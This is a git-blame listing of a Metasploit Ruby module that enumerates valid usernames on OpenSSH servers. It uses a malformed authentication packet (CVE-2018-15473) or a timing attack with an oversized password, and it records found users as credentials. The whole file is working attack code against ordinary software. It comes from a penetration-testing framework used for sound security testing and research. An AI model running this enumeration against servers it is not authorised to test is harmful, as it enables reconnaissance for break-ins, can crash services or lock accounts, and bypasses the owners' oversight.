Files
metasploit-gs/modules/auxiliary/scanner/ssh/ssh_enumusers.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

296 lines
8.1 KiB
Ruby
Raw Normal View History

2014-03-28 16:23:48 +01:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2014-03-28 16:23:48 +01:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Auxiliary
2018-09-05 23:10:28 -05:00
include Msf::Exploit::Remote::SSH
2014-03-28 16:23:48 +01:00
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
2014-04-23 10:00:34 -05:00
def initialize(info = {})
2022-02-04 15:57:51 -05:00
super(
update_info(
info,
'Name' => 'SSH Username Enumeration',
'Description' => %q{
This module uses a malformed packet or timing attack to enumerate users on
an OpenSSH server.
The default action sends a malformed (corrupted) SSH_MSG_USERAUTH_REQUEST
packet using public key authentication (must be enabled) to enumerate users.
On some versions of OpenSSH under some configurations, OpenSSH will return a
"permission denied" error for an invalid user faster than for a valid user,
creating an opportunity for a timing attack to enumerate users.
Testing note: invalid users were logged, while valid users were not. YMMV.
},
'Author' => [
'kenkeiras', # Timing attack
'Dariusz Tytko', # Malformed packet
'Michal Sajdak', # Malformed packet
'Qualys', # Malformed packet
'wvu' # Malformed packet
2018-08-17 16:58:15 -05:00
],
2022-02-04 15:57:51 -05:00
'References' => [
['CVE', '2003-0190'],
['CVE', '2006-5229'],
['CVE', '2016-6210'],
['CVE', '2018-15473'],
['OSVDB', '32721'],
['BID', '20418'],
['URL', 'https://seclists.org/oss-sec/2018/q3/124'],
['URL', 'https://sekurak.pl/openssh-users-enumeration-cve-2018-15473/']
],
'License' => MSF_LICENSE,
'Actions' => [
[
'Malformed Packet',
{
'Description' => 'Use a malformed packet',
'Type' => :malformed_packet
}
],
[
'Timing Attack',
{
'Description' => 'Use a timing attack',
'Type' => :timing_attack
}
]
],
'DefaultAction' => 'Malformed Packet',
'Notes' => {
2023-03-13 10:31:27 +00:00
'Stability' => [
2022-02-04 15:57:51 -05:00
CRASH_SERVICE_DOWN # possible that a malformed packet may crash the service
],
2023-03-13 10:31:27 +00:00
'Reliability' => [],
2022-02-04 15:57:51 -05:00
'SideEffects' => [
IOC_IN_LOGS,
ACCOUNT_LOCKOUTS, # timing attack submits a password
]
}
)
)
2014-03-28 16:23:48 +01:00
register_options(
[
Opt::Proxies,
2014-04-23 10:00:34 -05:00
Opt::RPORT(22),
2018-08-17 16:58:15 -05:00
OptString.new('USERNAME',
[false, 'Single username to test (username spray)']),
2014-04-18 21:56:17 +02:00
OptPath.new('USER_FILE',
2018-08-17 16:58:15 -05:00
[false, 'File containing usernames, one per line']),
OptBool.new('DB_ALL_USERS',
[false, 'Add all users in the current database to the list', false]),
2014-04-18 21:18:48 +02:00
OptInt.new('THRESHOLD',
2022-02-04 15:57:51 -05:00
[
true,
'Amount of seconds needed before a user is considered ' \
'found (timing attack only)', 10
]),
2018-08-17 20:05:04 -05:00
OptBool.new('CHECK_FALSE',
[false, 'Check for false positives (random username)', true])
2018-08-17 16:58:15 -05:00
]
2014-03-28 16:23:48 +01:00
)
register_advanced_options(
[
OptInt.new('RETRY_NUM',
2022-02-04 15:57:51 -05:00
[
true, 'The number of attempts to connect to a SSH server' \
' for each user', 3
]),
2014-04-23 10:00:34 -05:00
OptInt.new('SSH_TIMEOUT',
2022-02-04 15:57:51 -05:00
[
false, 'Specify the maximum time to negotiate a SSH session',
10
]),
2014-04-23 10:00:34 -05:00
OptBool.new('SSH_DEBUG',
2022-02-04 15:57:51 -05:00
[
false, 'Enable SSH debugging output (Extreme verbosity!)',
false
])
2014-03-28 16:23:48 +01:00
]
)
end
def rport
datastore['RPORT']
end
def retry_num
datastore['RETRY_NUM']
end
2014-04-18 21:18:48 +02:00
def threshold
datastore['THRESHOLD']
end
2014-03-28 16:23:48 +01:00
2014-04-29 16:07:42 +01:00
# Returns true if a nonsense username appears active.
def check_false_positive(ip)
2018-08-17 16:58:15 -05:00
user = Rex::Text.rand_text_alphanumeric(8..32)
attempt_user(user, ip) == :success
2014-04-29 16:07:42 +01:00
end
2014-03-28 16:23:48 +01:00
def check_user(ip, user, port)
2018-08-17 16:58:15 -05:00
technique = action['Type']
2022-04-14 17:27:19 +02:00
opts = ssh_client_defaults.merge({
port: port
})
2014-03-28 16:23:48 +01:00
2018-08-17 16:58:15 -05:00
# The auth method is converted into a class name for instantiation,
2018-09-05 23:10:28 -05:00
# so malformed-packet here becomes MalformedPacket from the mixin
2018-08-17 16:58:15 -05:00
case technique
when :malformed_packet
2022-02-04 15:57:51 -05:00
opts.merge!(auth_methods: ['malformed-packet'])
2018-08-17 16:58:15 -05:00
when :timing_attack
opts.merge!(
2022-02-04 15:57:51 -05:00
auth_methods: ['password', 'keyboard-interactive'],
password: rand_pass
2018-08-17 16:58:15 -05:00
)
end
2022-02-04 15:57:51 -05:00
opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
2014-03-28 16:23:48 +01:00
start_time = Time.new
begin
2018-08-20 16:21:38 -05:00
ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do
2018-08-17 16:58:15 -05:00
Net::SSH.start(ip, user, opts)
2014-03-28 16:23:48 +01:00
end
rescue Rex::ConnectionError
2014-03-28 16:23:48 +01:00
return :connection_error
2018-08-20 16:21:38 -05:00
rescue Timeout::Error
2018-08-17 16:58:15 -05:00
return :success if technique == :timing_attack
2018-08-20 16:21:38 -05:00
rescue Net::SSH::AuthenticationFailed
return :fail if technique == :malformed_packet
rescue Net::SSH::Exception => e
vprint_error("#{e.class}: #{e.message}")
2014-03-28 16:23:48 +01:00
end
finish_time = Time.new
2018-08-20 16:21:38 -05:00
case technique
when :malformed_packet
return :success if ssh
when :timing_attack
2018-08-17 16:58:15 -05:00
return :success if (finish_time - start_time > threshold)
2014-03-28 16:23:48 +01:00
end
2018-08-17 16:58:15 -05:00
:fail
end
def rand_pass
2018-08-20 17:10:14 -05:00
Rex::Text.rand_text_english(64_000..65_000)
2014-03-28 16:23:48 +01:00
end
2022-02-04 15:57:51 -05:00
def do_report(ip, user, _port)
2015-07-29 14:31:35 -05:00
service_data = {
address: ip,
port: rport,
service_name: 'ssh',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
2022-02-04 15:57:51 -05:00
username: user
2015-07-29 14:31:35 -05:00
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
2022-02-04 15:57:51 -05:00
status: Metasploit::Model::Login::Status::UNTRIED
2015-07-29 14:31:35 -05:00
}.merge(service_data)
create_credential_login(login_data)
2014-03-28 16:23:48 +01:00
end
# Because this isn't using the AuthBrute mixin, we don't have the
# usual peer method
2022-02-04 15:57:51 -05:00
def peer(rhost = nil)
"#{rhost}:#{rport} - SSH -"
end
2014-03-28 16:23:48 +01:00
def user_list
2018-08-17 16:58:15 -05:00
users = []
users << datastore['USERNAME'] unless datastore['USERNAME'].blank?
if datastore['USER_FILE']
fail_with(Failure::BadConfig, 'The USER_FILE is not readable') unless File.readable?(datastore['USER_FILE'])
2018-08-17 16:58:15 -05:00
users += File.read(datastore['USER_FILE']).split
end
2018-08-17 16:58:15 -05:00
if datastore['DB_ALL_USERS']
if framework.db.active
framework.db.creds(workspace: myworkspace.name).each do |o|
users << o.public.username if o.public
end
else
print_warning('No active DB -- The following option will be ignored: DB_ALL_USERS')
end
end
users.uniq
2014-03-28 16:23:48 +01:00
end
def attempt_user(user, ip)
attempt_num = 0
ret = nil
2022-02-04 15:57:51 -05:00
while (attempt_num <= retry_num) && (ret.nil? || (ret == :connection_error))
2014-03-28 16:23:48 +01:00
if attempt_num > 0
2022-02-04 15:57:51 -05:00
Rex.sleep(2**attempt_num)
2015-04-21 11:14:03 -05:00
vprint_status("#{peer(ip)} Retrying '#{user}' due to connection error")
2014-03-28 16:23:48 +01:00
end
ret = check_user(ip, user, rport)
attempt_num += 1
end
2014-04-23 10:00:34 -05:00
ret
2014-03-28 16:23:48 +01:00
end
def show_result(attempt_result, user, ip)
case attempt_result
when :success
2015-04-21 11:14:03 -05:00
print_good("#{peer(ip)} User '#{user}' found")
2014-03-28 16:23:48 +01:00
do_report(ip, user, rport)
when :connection_error
2021-01-27 10:14:52 -06:00
vprint_error("#{peer(ip)} User '#{user}' could not connect")
2014-03-28 16:23:48 +01:00
when :fail
2021-01-27 15:16:55 +01:00
vprint_error("#{peer(ip)} User '#{user}' not found")
2014-03-28 16:23:48 +01:00
end
end
def run
if user_list.empty?
fail_with(Failure::BadConfig, 'Please populate DB_ALL_USERS, USER_FILE, USERNAME')
end
super
end
2014-03-28 16:23:48 +01:00
def run_host(ip)
2018-08-17 20:05:04 -05:00
print_status("#{peer(ip)} Using #{action.name.downcase} technique")
if datastore['CHECK_FALSE']
print_status("#{peer(ip)} Checking for false positives")
if check_false_positive(ip)
print_error("#{peer(ip)} throws false positive results. Aborting.")
return
end
2014-04-29 16:07:42 +01:00
end
2018-08-17 20:05:04 -05:00
2018-08-20 16:21:38 -05:00
users = user_list
2018-08-17 20:05:04 -05:00
print_status("#{peer(ip)} Starting scan")
2018-08-20 16:21:38 -05:00
users.each { |user| show_result(attempt_user(user, ip), user, ip) }
2014-03-28 16:23:48 +01:00
end
end